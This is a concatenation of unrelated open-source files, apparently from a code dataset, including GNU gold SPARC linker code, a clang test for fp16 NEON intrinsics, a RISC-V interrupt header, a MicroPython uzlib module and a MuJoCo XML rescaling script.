unsigned char* reloc_view,
section_size_type reloc_view_size)
{
typedef gold::Default_classify_reloc<elfcpp::SHT_RELA, size, big_endian>
Classify_reloc;
gold_assert(sh_type == elfcpp::SHT_RELA);
gold::relocate_relocs<size, big_endian, Classify_reloc>(
relinfo,
prelocs,
reloc_count,
output_section,
offset_in_output_section,
view,
view_address,
view_size,
reloc_view,
reloc_view_size);
}
// Return the value to use for a dynamic which requires special
// treatment. This is how we support equality comparisons of function
// pointers across shared library boundaries, as described in the
// processor specific ABI supplement.
template<int size, bool big_endian>
uint64_t
Target_sparc<size, big_endian>::do_dynsym_value(const Symbol* gsym) const
{
gold_assert(gsym->is_from_dynobj() && gsym->has_plt_offset());
return this->plt_section()->address() + gsym->plt_offset();
}
// do_make_elf_object to override the same function in the base class.
// We need to use a target-specific sub-class of
// Sized_relobj_file<size, big_endian> to process SPARC specific bits
// of the ELF headers. Hence we need to have our own ELF object creation.
template<int size, bool big_endian>
Object*
Target_sparc<size, big_endian>::do_make_elf_object(
const std::string& name,
Input_file* input_file,
off_t offset, const elfcpp::Ehdr<size, big_endian>& ehdr)
{
elfcpp::Elf_Half machine = ehdr.get_e_machine();
elfcpp::Elf_Word flags = ehdr.get_e_flags();
elfcpp::Elf_Word omm, mm;
switch (machine)
{
case elfcpp::EM_SPARC32PLUS:
this->elf_machine_ = elfcpp::EM_SPARC32PLUS;
break;
case elfcpp::EM_SPARC:
case elfcpp::EM_SPARCV9:
break;
default:
break;
}
if (!this->elf_flags_set_)
{
this->elf_flags_ = flags;
this->elf_flags_set_ = true;
}
else
{
// Accumulate cpu feature bits.
this->elf_flags_ |= (flags & (elfcpp::EF_SPARC_32PLUS
| elfcpp::EF_SPARC_SUN_US1
| elfcpp::EF_SPARC_HAL_R1
| elfcpp::EF_SPARC_SUN_US3));
// Bump the memory model setting to the most restrictive
// one we encounter.
omm = (this->elf_flags_ & elfcpp::EF_SPARCV9_MM);
mm = (flags & elfcpp::EF_SPARCV9_MM);
if (omm != mm)
{
if (mm == elfcpp::EF_SPARCV9_TSO)
{
this->elf_flags_ &= ~elfcpp::EF_SPARCV9_MM;
this->elf_flags_ |= elfcpp::EF_SPARCV9_TSO;
}
else if (mm == elfcpp::EF_SPARCV9_PSO
&& omm == elfcpp::EF_SPARCV9_RMO)
{
this->elf_flags_ &= ~elfcpp::EF_SPARCV9_MM;
this->elf_flags_ |= elfcpp::EF_SPARCV9_PSO;
}
}
}
// Validate that the little-endian flag matches how we've
// been instantiated.
if (!(flags & elfcpp::EF_SPARC_LEDATA) != big_endian)
{
if (big_endian)
gold_error(_("%s: little endian elf flag set on BE object"),
name.c_str());
else
gold_error(_("%s: little endian elf flag clear on LE object"),
name.c_str());
}
return Target::do_make_elf_object(name, input_file, offset, ehdr);
}
// Adjust ELF file header.
template<int size, bool big_endian>
void
Target_sparc<size, big_endian>::do_adjust_elf_header(
unsigned char* view,
int len)
{
elfcpp::Ehdr_write<size, big_endian> oehdr(view);
oehdr.put_e_machine(this->elf_machine_);
oehdr.put_e_flags(this->elf_flags_);
Sized_target<size, big_endian>::do_adjust_elf_header(view, len);
}
// The selector for sparc object files.
template<int size, bool big_endian>
class Target_selector_sparc : public Target_selector
{
public:
Target_selector_sparc()
: Target_selector(elfcpp::EM_NONE, size, big_endian,
(size == 64 ? "elf64-sparc" : "elf32-sparc"),
(size == 64 ? "elf64_sparc" : "elf32_sparc"))
{ }
virtual Target*
do_recognize(Input_file*, off_t, int machine, int, int)
{
switch (size)
{
case 64:
if (machine != elfcpp::EM_SPARCV9)
return NULL;
break;
case 32:
if (machine != elfcpp::EM_SPARC
&& machine != elfcpp::EM_SPARC32PLUS)
return NULL;
break;
default:
return NULL;
}
return this->instantiate_target();
}
virtual Target*
do_instantiate_target()
{ return new Target_sparc<size, big_endian>(); }
};
Target_selector_sparc<32, true> target_selector_sparc32;
Target_selector_sparc<64, true> target_selector_sparc64;
} // End anonymous namespace.
| 61,293 |
2,151 | # Copyright 2017 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
class Build(object):
def __init__(self, builder, data):
self._builder = builder
self._data = data
def __str__(self):
return '%s/%d' % (self.builder, self.number)
@property
def builder(self):
return self._builder
@property
def number(self):
return self._data['number']
| 151 |
809 | <gh_stars>100-1000
#ifndef RISCV_INTERRUPTS_H_
#define RISCV_INTERRUPTS_H_
#include <asm/regs.h>
#define disable_interrupts() clear_csr_bit(mstatus, MSTATUS_MIE)
#define enable_interrupts() set_csr_bit(mstatus, MSTATUS_MIE)
// #define disable_interrupts() __asm volatile ( "csrc mstatus,8" )
// #define enable_interrupts() __asm volatile ( "csrs mstatus,8" )
#define enable_timer_interrupts() set_csr_bit(mie, MIE_MTIE)
#define disable_timer_interrupts() clear_csr_bit(mie, MIE_MTIE)
#define enable_external_interrupts() set_csr_bit(mie, MIE_MEIE)
#define disable_external_interrupts() clear_csr_bit(mie, MIE_MEIE)
#define enable_software_interrupts() set_csr_bit(mie, MIE_MSIE)
#define disable_software_interrupts() clear_csr_bit(mie, MIE_MSIE)
#define RISCV_TIMER_IRQ_DEF(timer_handler, pclock_source) \
int (*__riscv_timer_handler)(unsigned int, void *) = timer_handler; \
void *__riscv_timer_data = pclock_source;
extern int (*__riscv_timer_handler)(unsigned int, void *);
extern void *__riscv_timer_data;
#endif /* RISCV_INTERRUPTS_H_ */
| 438 |
2,670 | <reponame>gcampbell-msft/vscode-cpptools
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
// Do not edit this file. It is machine generated.
{
"c.cpp.parsing.open.files.tooltip": "Offene Dateien werden analysiert",
"click.to.preview": "Klicken Sie, um eine Vorschau der Ergebnisse anzuzeigen.",
"updating.intellisense.tooltip": "IntelliSense wird aktualisiert",
"select.command": "Befehl auswählen...",
"c.cpp.configuration.tooltip": "C/C++-Konfiguration",
"c.cpp.references.statusbar": "C/C++-Verweisstatus",
"c.cpp.intellisense.statusbar": "Status von C/C++-IntelliSense",
"c.cpp.tagparser.statusbar": "Status des C/C++-Tagparsers",
"discovering.files.tooltip": "Dateien werden ermittelt",
"running.analysis.tooltip": "\"{0}\" wird ausgeführt",
"select.a.configuration": "Konfiguration auswählen...",
"edit.configuration.ui": "Konfigurationen bearbeiten (Benutzeroberfläche)",
"edit.configuration.json": "Konfigurationen bearbeiten (JSON)",
"select.configuration.provider": "Konfigurationsanbieter auswählen...",
"active": "aktiv",
"none": "Keine",
"disable.configuration.provider": "Deaktivieren Sie den aktiven Konfigurationsanbieter, falls zutreffend.",
"select.compile.commands": "compile_commands.json-Datei auswählen...",
"select.workspace": "Arbeitsbereichsordner auswählen...",
"resume.parsing": "Arbeitsbereichsanalyse fortsetzen",
"pause.parsing": "Arbeitsbereichsanalyse anhalten",
"cancel.analysis": "\"{0}\" abbrechen",
"resume.analysis": "\"{0}\" fortsetzen",
"pause.analysis": "\"{0}\" anhalten"
} | 654 |
66,985 | <reponame>dreamwy9/spring-boot
/*
* Copyright 2012-2020 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.springframework.boot.buildpack.platform.docker.type;
import java.io.IOException;
import org.junit.jupiter.api.Test;
import static org.assertj.core.api.Assertions.assertThat;
/**
* Tests for {@link ContainerStatus}.
*
* @author <NAME>
*/
class ContainerStatusTests {
@Test
void ofCreatesFromJson() throws IOException {
ContainerStatus status = ContainerStatus.of(getClass().getResourceAsStream("container-status-error.json"));
assertThat(status.getStatusCode()).isEqualTo(1);
assertThat(status.getWaitingErrorMessage()).isEqualTo("error detail");
}
@Test
void ofCreatesFromValues() {
ContainerStatus status = ContainerStatus.of(1, "error detail");
assertThat(status.getStatusCode()).isEqualTo(1);
assertThat(status.getWaitingErrorMessage()).isEqualTo("error detail");
}
}
| 441 |
306 | <reponame>teosz/dirt
#ifndef HWC_H
#define HWC_H
#include "tensorflow/core/framework/op_kernel.h"
struct HWC
{
// This captures the attributes (apart from cuda-context) that must be the same for two kernel-instances to share the same gl-context / threads
int height, width, channels;
bool operator <(HWC const &other) const {
return height < other.height || (
height == other.height && (width < other.width || (
width == other.width && channels < other.channels)
)
);
}
};
inline HWC get_hwc(tensorflow::OpKernelConstruction *context)
{
int height, width, channels;
context->GetAttr("height", &height);
context->GetAttr("width", &width);
context->GetAttr("channels", &channels);
CHECK(channels == 1 || channels == 3);
CHECK(width > 0 && height > 0);
return {height, width, channels};
}
#endif //HWC_H
| 355 |
605 | <filename>clang/test/Sema/arm-no-fp16.c<gh_stars>100-1000
// RUN: %clang_cc1 -triple thumbv7-none-eabi %s -target-feature +neon \
// RUN: -fallow-half-arguments-and-returns -target-feature -fp16 \
// RUN: -fsyntax-only -verify
// REQUIRES: aarch64-registered-target || arm-registered-target
#include <arm_neon.h>
float16x4_t test_vcvt_f16_f32(float32x4_t a) {
return vcvt_f16_f32(a); // expected-warning{{implicit declaration of function 'vcvt_f16_f32'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x4_t'}}
}
float32x4_t test_vcvt_f32_f16(float16x4_t a) {
return vcvt_f32_f16(a); // expected-warning{{implicit declaration of function 'vcvt_f32_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float32x4_t'}}
}
float16x4_t test_vrnda_f16(float16x4_t a) {
return vrnda_f16(a); // expected-warning{{implicit declaration of function 'vrnda_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x4_t'}}
}
float16x8_t test_vrndaq_f16(float16x8_t a) {
return vrndaq_f16(a); // expected-warning{{implicit declaration of function 'vrndaq_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x8_t'}}
}
float16x4_t test_vrnd_f16(float16x4_t a) {
return vrnd_f16(a); // expected-warning{{implicit declaration of function 'vrnd_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x4_t'}}
}
float16x8_t test_vrndq_f16(float16x8_t a) {
return vrndq_f16(a); // expected-warning{{implicit declaration of function 'vrndq_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x8_t'}}
}
float16x4_t test_vrndi_f16(float16x4_t a) {
return vrndi_f16(a); // expected-warning{{implicit declaration of function 'vrndi_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x4_t'}}
}
float16x8_t test_vrndiq_f16(float16x8_t a) {
return vrndiq_f16(a); // expected-warning{{implicit declaration of function 'vrndiq_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x8_t'}}
}
float16x4_t test_vrndm_f16(float16x4_t a) {
return vrndm_f16(a); // expected-warning{{implicit declaration of function 'vrndm_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x4_t'}}
}
float16x8_t test_vrndmq_f16(float16x8_t a) {
return vrndmq_f16(a); // expected-warning{{implicit declaration of function 'vrndmq_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x8_t'}}
}
float16x4_t test_vrndn_f16(float16x4_t a) {
return vrndn_f16(a); // expected-warning{{implicit declaration of function 'vrndn_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x4_t'}}
}
float16x8_t test_vrndnq_f16(float16x8_t a) {
return vrndnq_f16(a); // expected-warning{{implicit declaration of function 'vrndnq_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x8_t'}}
}
float16x4_t test_vrndp_f16(float16x4_t a) {
return vrndp_f16(a); // expected-warning{{implicit declaration of function 'vrndp_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x4_t'}}
}
float16x8_t test_vrndpq_f16(float16x8_t a) {
return vrndpq_f16(a); // expected-warning{{implicit declaration of function 'vrndpq_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x8_t'}}
}
float16x4_t test_vrndx_f16(float16x4_t a) {
return vrndx_f16(a); // expected-warning{{implicit declaration of function 'vrndx_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x4_t'}}
}
float16x8_t test_vrndxq_f16(float16x8_t a) {
return vrndxq_f16(a); // expected-warning{{implicit declaration of function 'vrndxq_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x8_t'}}
}
float16x4_t test_vmaxnm_f16(float16x4_t a, float16x4_t b) {
return vmaxnm_f16(a, b); // expected-warning{{implicit declaration of function 'vmaxnm_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x4_t'}}
}
float16x8_t test_vmaxnmq_f16(float16x8_t a, float16x8_t b) {
return vmaxnmq_f16(a, b); // expected-warning{{implicit declaration of function 'vmaxnmq_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x8_t'}}
}
float16x4_t test_vminnm_f16(float16x4_t a, float16x4_t b) {
return vminnm_f16(a, b); // expected-warning{{implicit declaration of function 'vminnm_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x4_t'}}
}
float16x8_t test_vminnmq_f16(float16x8_t a, float16x8_t b) {
return vminnmq_f16(a, b); // expected-warning{{implicit declaration of function 'vminnmq_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x8_t'}}
}
float16x4_t test_vld1_f16(const float16_t *a) {
return vld1_f16(a); // expected-warning{{implicit declaration of function 'vld1_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x4_t'}}
}
float16x8_t test_vld1q_f16(const float16_t *a) {
return vld1q_f16(a); // expected-warning{{implicit declaration of function 'vld1q_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x8_t'}}
}
float16x4_t test_vld1_dup_f16(const float16_t *a) {
return vld1_dup_f16(a); // expected-warning{{implicit declaration of function 'vld1_dup_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x4_t'}}
}
float16x8_t test_vld1q_dup_f16(const float16_t *a) {
return vld1q_dup_f16(a); // expected-warning{{implicit declaration of function 'vld1q_dup_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x8_t'}}
}
float16x4_t test_vld1_lane_f16(const float16_t *a, float16x4_t b) {
return vld1_lane_f16(a, b, 3); // expected-warning{{implicit declaration of function 'vld1_lane_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x4_t'}}
}
float16x8_t test_vld1q_lane_f16(const float16_t *a, float16x8_t b) {
return vld1q_lane_f16(a, b, 7); // expected-warning{{implicit declaration of function 'vld1q_lane_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x8_t'}}
}
float16x4x2_t test_vld1_f16_x2(const float16_t *a) {
return vld1_f16_x2(a); // expected-warning{{implicit declaration of function 'vld1_f16_x2'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x4x2_t'}}
}
float16x8x2_t test_vld1q_f16_x2(const float16_t *a) {
return vld1q_f16_x2(a); // expected-warning{{implicit declaration of function 'vld1q_f16_x2'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x8x2_t'}}
}
float16x4x3_t test_vld1_f16_x3(const float16_t *a) {
return vld1_f16_x3(a); // expected-warning{{implicit declaration of function 'vld1_f16_x3'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x4x3_t'}}
}
float16x8x3_t test_vld1q_f16_x3(const float16_t *a) {
return vld1q_f16_x3(a); // expected-warning{{implicit declaration of function 'vld1q_f16_x3'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x8x3_t'}}
}
float16x4x4_t test_vld1_f16_x4(const float16_t *a) {
return vld1_f16_x4(a); // expected-warning{{implicit declaration of function 'vld1_f16_x4'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x4x4_t'}}
}
float16x8x4_t test_vld1q_f16_x4(const float16_t *a) {
return vld1q_f16_x4(a); // expected-warning{{implicit declaration of function 'vld1q_f16_x4'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x8x4_t'}}
}
float16x4x2_t test_vld2_f16(const float16_t *a) {
return vld2_f16(a); // expected-warning{{implicit declaration of function 'vld2_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x4x2_t'}}
}
float16x8x2_t test_vld2q_f16(const float16_t *a) {
return vld2q_f16(a); // expected-warning{{implicit declaration of function 'vld2q_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x8x2_t'}}
}
float16x4x2_t test_vld2_lane_f16(const float16_t *a, float16x4x2_t b) {
return vld2_lane_f16(a, b, 3); // expected-warning{{implicit declaration of function 'vld2_lane_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x4x2_t'}}
}
float16x8x2_t test_vld2q_lane_f16(const float16_t *a, float16x8x2_t b) {
return vld2q_lane_f16(a, b, 7); // expected-warning{{implicit declaration of function 'vld2q_lane_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x8x2_t'}}
}
float16x4x2_t test_vld2_dup_f16(const float16_t *src) {
return vld2_dup_f16(src); // expected-warning{{implicit declaration of function 'vld2_dup_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x4x2_t'}}
}
float16x8x2_t test_vld2q_dup_f16(const float16_t *src) {
return vld2q_dup_f16(src); // expected-warning{{implicit declaration of function 'vld2q_dup_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x8x2_t'}}
}
float16x4x3_t test_vld3_f16(const float16_t *a) {
return vld3_f16(a); // expected-warning{{implicit declaration of function 'vld3_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x4x3_t'}}
}
float16x8x3_t test_vld3q_f16(const float16_t *a) {
return vld3q_f16(a); // expected-warning{{implicit declaration of function 'vld3q_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x8x3_t'}}
}
float16x4x3_t test_vld3_lane_f16(const float16_t *a, float16x4x3_t b) {
return vld3_lane_f16(a, b, 3); // expected-warning{{implicit declaration of function 'vld3_lane_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x4x3_t'}}
}
float16x8x3_t test_vld3q_lane_f16(const float16_t *a, float16x8x3_t b) {
return vld3q_lane_f16(a, b, 7); // expected-warning{{implicit declaration of function 'vld3q_lane_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x8x3_t'}}
}
float16x4x3_t test_vld3_dup_f16(const float16_t *src) {
return vld3_dup_f16(src); // expected-warning{{implicit declaration of function 'vld3_dup_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x4x3_t'}}
}
float16x8x3_t test_vld3q_dup_f16(const float16_t *src) {
return vld3q_dup_f16(src); // expected-warning{{implicit declaration of function 'vld3q_dup_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x8x3_t'}}
}
float16x4x4_t test_vld4_f16(const float16_t *a) {
return vld4_f16(a); // expected-warning{{implicit declaration of function 'vld4_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x4x4_t'}}
}
float16x8x4_t test_vld4q_f16(const float16_t *a) {
return vld4q_f16(a); // expected-warning{{implicit declaration of function 'vld4q_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x8x4_t'}}
}
float16x4x4_t test_vld4_lane_f16(const float16_t *a, float16x4x4_t b) {
return vld4_lane_f16(a, b, 3); // expected-warning{{implicit declaration of function 'vld4_lane_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x4x4_t'}}
}
float16x8x4_t test_vld4q_lane_f16(const float16_t *a, float16x8x4_t b) {
return vld4q_lane_f16(a, b, 7); // expected-warning{{implicit declaration of function 'vld4q_lane_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x8x4_t'}}
}
float16x4x4_t test_vld4_dup_f16(const float16_t *src) {
return vld4_dup_f16(src); // expected-warning{{implicit declaration of function 'vld4_dup_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x4x4_t'}}
}
float16x8x4_t test_vld4q_dup_f16(const float16_t *src) {
return vld4q_dup_f16(src); // expected-warning{{implicit declaration of function 'vld4q_dup_f16'}} expected-error{{returning 'int' from a function with incompatible result type 'float16x8x4_t'}}
}
void test_vst1_f16(float16_t *a, float16x4_t b) {
vst1_f16(a, b); // expected-warning{{implicit declaration of function 'vst1_f16'}}
}
// aarch64-neon-intrinsics.c:void test_vst1q_f16(float16_t *a, float16x8_t b) {
void test_vst1q_f16(float16_t *a, float16x8_t b) {
vst1q_f16(a, b); // expected-warning{{implicit declaration of function 'vst1q_f16'}}
}
// aarch64-neon-ldst-one.c:void test_vst1_lane_f16(float16_t *a, float16x4_t b) {
void test_vst1_lane_f16(float16_t *a, float16x4_t b) {
vst1_lane_f16(a, b, 3); // expected-warning{{implicit declaration of function 'vst1_lane_f16'}}
}
void test_vst1q_lane_f16(float16_t *a, float16x8_t b) {
vst1q_lane_f16(a, b, 7); // expected-warning{{implicit declaration of function 'vst1q_lane_f16'}}
}
void test_vst1_f16_x2(float16_t *a, float16x4x2_t b) {
vst1_f16_x2(a, b); // expected-warning{{implicit declaration of function 'vst1_f16_x2'}}
}
void test_vst1q_f16_x2(float16_t *a, float16x8x2_t b) {
vst1q_f16_x2(a, b); // expected-warning{{implicit declaration of function 'vst1q_f16_x2'}}
}
void test_vst1_f16_x3(float16_t *a, float16x4x3_t b) {
vst1_f16_x3(a, b); // expected-warning{{implicit declaration of function 'vst1_f16_x3'}}
}
void test_vst1q_f16_x3(float16_t *a, float16x8x3_t b) {
vst1q_f16_x3(a, b); // expected-warning{{implicit declaration of function 'vst1q_f16_x3'}}
}
void test_vst1_f16_x4(float16_t *a, float16x4x4_t b) {
vst1_f16_x4(a, b); // expected-warning{{implicit declaration of function 'vst1_f16_x4'}}
}
void test_vst1q_f16_x4(float16_t *a, float16x8x4_t b) {
vst1q_f16_x4(a, b); // expected-warning{{implicit declaration of function 'vst1q_f16_x4'}}
}
void test_vst2_f16(float16_t *a, float16x4x2_t b) {
vst2_f16(a, b); // expected-warning{{implicit declaration of function 'vst2_f16'}}
}
void test_vst2q_f16(float16_t *a, float16x8x2_t b) {
vst2q_f16(a, b); // expected-warning{{implicit declaration of function 'vst2q_f16'}}
}
void test_vst2_lane_f16(float16_t *a, float16x4x2_t b) {
vst2_lane_f16(a, b, 3); // expected-warning{{implicit declaration of function 'vst2_lane_f16'}}
}
void test_vst2q_lane_f16(float16_t *a, float16x8x2_t b) {
vst2q_lane_f16(a, b, 7); // expected-warning{{implicit declaration of function 'vst2q_lane_f16'}}
}
void test_vst3_f16(float16_t *a, float16x4x3_t b) {
vst3_f16(a, b); // expected-warning{{implicit declaration of function 'vst3_f16'}}
}
void test_vst3q_f16(float16_t *a, float16x8x3_t b) {
vst3q_f16(a, b); // expected-warning{{implicit declaration of function 'vst3q_f16'}}
}
void test_vst3_lane_f16(float16_t *a, float16x4x3_t b) {
vst3_lane_f16(a, b, 3); // expected-warning{{implicit declaration of function 'vst3_lane_f16'}}
}
void test_vst3q_lane_f16(float16_t *a, float16x8x3_t b) {
vst3q_lane_f16(a, b, 7); // expected-warning{{implicit declaration of function 'vst3q_lane_f16'}}
}
void test_vst4_f16(float16_t *a, float16x4x4_t b) {
vst4_f16(a, b); // expected-warning{{implicit declaration of function 'vst4_f16'}}
}
void test_vst4q_f16(float16_t *a, float16x8x4_t b) {
vst4q_f16(a, b); // expected-warning{{implicit declaration of function 'vst4q_f16'}}
}
void test_vst4_lane_f16(float16_t *a, float16x4x4_t b) {
vst4_lane_f16(a, b, 3); // expected-warning{{implicit declaration of function 'vst4_lane_f16'}}
}
void test_vst4q_lane_f16(float16_t *a, float16x8x4_t b) {
vst4q_lane_f16(a, b, 7); // expected-warning{{implicit declaration of function 'vst4q_lane_f16'}}
}
| 6,477 |
663 | <reponame>iotctl/pycopy
#define MICROPY_PY_UZLIB (1)
#include "py/dynruntime.h"
#if !defined(__linux__)
void *memset(void *s, int c, size_t n) {
return mp_fun_table.memset_(s, c, n);
}
#endif
mp_obj_type_t decompio_type;
#include "extmod/moduzlib.c"
mp_map_elem_t decompio_locals_dict_table[4];
STATIC MP_DEFINE_CONST_DICT(decompio_locals_dict, decompio_locals_dict_table);
mp_obj_t mpy_init(mp_obj_fun_bc_t *self, size_t n_args, size_t n_kw, mp_obj_t *args) {
MP_DYNRUNTIME_INIT_ENTRY
decompio_type.base.type = mp_fun_table.type_type;
decompio_type.name = MP_QSTR_DecompIO;
decompio_type.make_new = decompio_make_new;
decompio_type.protocol = &decompio_stream_p;
decompio_locals_dict_table[0] = (mp_map_elem_t){ MP_OBJ_NEW_QSTR(MP_QSTR_read), MP_OBJ_FROM_PTR(&mp_stream_read_obj) };
decompio_locals_dict_table[1] = (mp_map_elem_t){ MP_OBJ_NEW_QSTR(MP_QSTR_readinto), MP_OBJ_FROM_PTR(&mp_stream_readinto_obj) };
decompio_locals_dict_table[2] = (mp_map_elem_t){ MP_OBJ_NEW_QSTR(MP_QSTR_readline), MP_OBJ_FROM_PTR(&mp_stream_unbuffered_readline_obj) };
decompio_locals_dict_table[3] = (mp_map_elem_t){ MP_OBJ_NEW_QSTR(MP_QSTR_init), MP_OBJ_FROM_PTR(&decompio_init_obj) };
decompio_type.locals_dict = (void*)&decompio_locals_dict;
mp_store_global(MP_QSTR___name__, MP_OBJ_NEW_QSTR(MP_QSTR_uzlib));
mp_store_global(MP_QSTR_decompress, MP_OBJ_FROM_PTR(&mod_uzlib_decompress_obj));
mp_store_global(MP_QSTR_DecompIO, MP_OBJ_FROM_PTR(&decompio_type));
MP_DYNRUNTIME_INIT_EXIT
}
| 750 |
364 | import argparse
import sys
import xml.etree.ElementTree as ET
from pyquaternion import Quaternion
def str2bool(v):
return v.lower() == "true"
def str2floatlist(v):
return [float(x) for x in v.split(",")]
def argsparser():
parser = argparse.ArgumentParser()
parser.add_argument(
"--path", type=str, default="../models/assets/objects/bench_bjoderna_0208.xml"
)
parser.add_argument("--mult", type=float, default=1)
parser.add_argument("--translate", type=str2floatlist, default=[])
parser.add_argument("--rotate", type=str2floatlist, default=[])
parser.add_argument("--outpath", type=str, default="out.xml")
parser.add_argument("--write", type=str2bool, default=False)
args, unparsed = parser.parse_known_args()
return args
def rescale(tree, root, mult, outpath="out.xml", translate=[], rotate=[], write=False):
for mesh in root.find("asset"):
if (
mesh.tag == "mesh"
and "name" in mesh.attrib
and "part" in mesh.attrib["name"]
):
mesh_scale = mesh.attrib["scale"].split(" ")
mesh_scale = [str(float(i) * mult) for i in mesh_scale]
upt_mesh_scale = " ".join(mesh_scale)
mesh.set("scale", upt_mesh_scale)
for body in root.find("worldbody"):
if "name" in body.attrib and "_part" in body.attrib["name"]:
body_pos = body.attrib["pos"].split(" ")
body_quat = [1, 0, 0, 0]
if "quat" in body.attrib:
body_quat = body.attrib["quat"].split(" ")
body_pos = [str(float(i) * mult) for i in body_pos]
if len(translate) > 0:
body_pos = [str(float(i) + j) for i, j in zip(body_pos, translate)]
if len(rotate) > 0:
w, x, y, z = [float(i) for i in body_quat]
rotate_quat = Quaternion(rotate) * Quaternion(w, x, y, z)
body_quat = [str(i) for i in rotate_quat.elements]
body_quat_s = " ".join(body_quat)
body.set("quat", body_quat_s)
upt_body_pos = " ".join(body_pos)
body.set("pos", upt_body_pos)
for child in body.getiterator():
if child.tag == "site":
site_pos = child.attrib["pos"].split(" ")
site_pos = [str(float(i) * mult) for i in site_pos]
upt_site_pos = " ".join(site_pos)
child.set("pos", upt_site_pos)
size = child.attrib["size"]
if " " in size: # sometimes size is not a scalar
size_pos = child.attrib["size"].split(" ")
size_pos = [str(float(i) * mult) for i in size_pos]
upt_size_pos = " ".join(size_pos)
child.set("size", upt_size_pos)
else:
upt_size = str(mult * float(size))
child.set("size", upt_size)
elif child.tag == "geom":
if "pos" in child.keys():
geom_pos = child.attrib["pos"].split(" ")
geom_pos = [str(float(i) * mult) for i in geom_pos]
upt_geom_pos = " ".join(geom_pos)
child.set("pos", upt_geom_pos)
if "size" in child.keys():
size = child.attrib["size"]
if " " in size: # sometimes size is not a scalar
size_pos = child.attrib["size"].split(" ")
size_pos = [str(float(i) * mult) for i in size_pos]
upt_size_pos = " ".join(size_pos)
child.set("size", upt_size_pos)
else:
upt_size = str(mult * float(size))
child.set("size", upt_size)
if write:
tree.write(outpath, encoding="UTF-8")
return tree
def rescale_numeric(tree, root, mult, outpath="out.xml", translate=[], rotate=[], write=False):
for body in root.find("custom"):
if "name" in body.attrib and "_part" in body.attrib["name"]:
data = body.attrib["data"].split(" ")
body_pos = data[:3]
body_quat = data[3:]
body_pos = [str(float(i) * mult) for i in body_pos]
if len(translate) > 0:
body_pos = [str(float(i) + j) for i, j in zip(body_pos, translate)]
if len(rotate) > 0:
w, x, y, z = [float(i) for i in body_quat]
rotate_quat = Quaternion(rotate) * Quaternion(w, x, y, z)
body_quat = [str(i) for i in rotate_quat.elements]
body_quat_s = " ".join(body_quat)
body.set("quat", body_quat_s)
upt_body_pos = " ".join(body_pos + body_quat)
body.set("data", upt_body_pos)
if write:
tree.write(outpath, encoding="UTF-8")
return tree
def main(config):
tree = ET.parse(config.path) # Path to input file
root = tree.getroot()
rescale_numeric(
tree,
root,
config.mult,
outpath=config.outpath,
translate=config.translate,
rotate=config.rotate,
write=config.write,
)
if __name__ == "__main__":
config = argsparser()
main(config)
| 2,874 |
1,199 | # coding=utf-8
# Copyright 2018 The Google AI Language Team Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
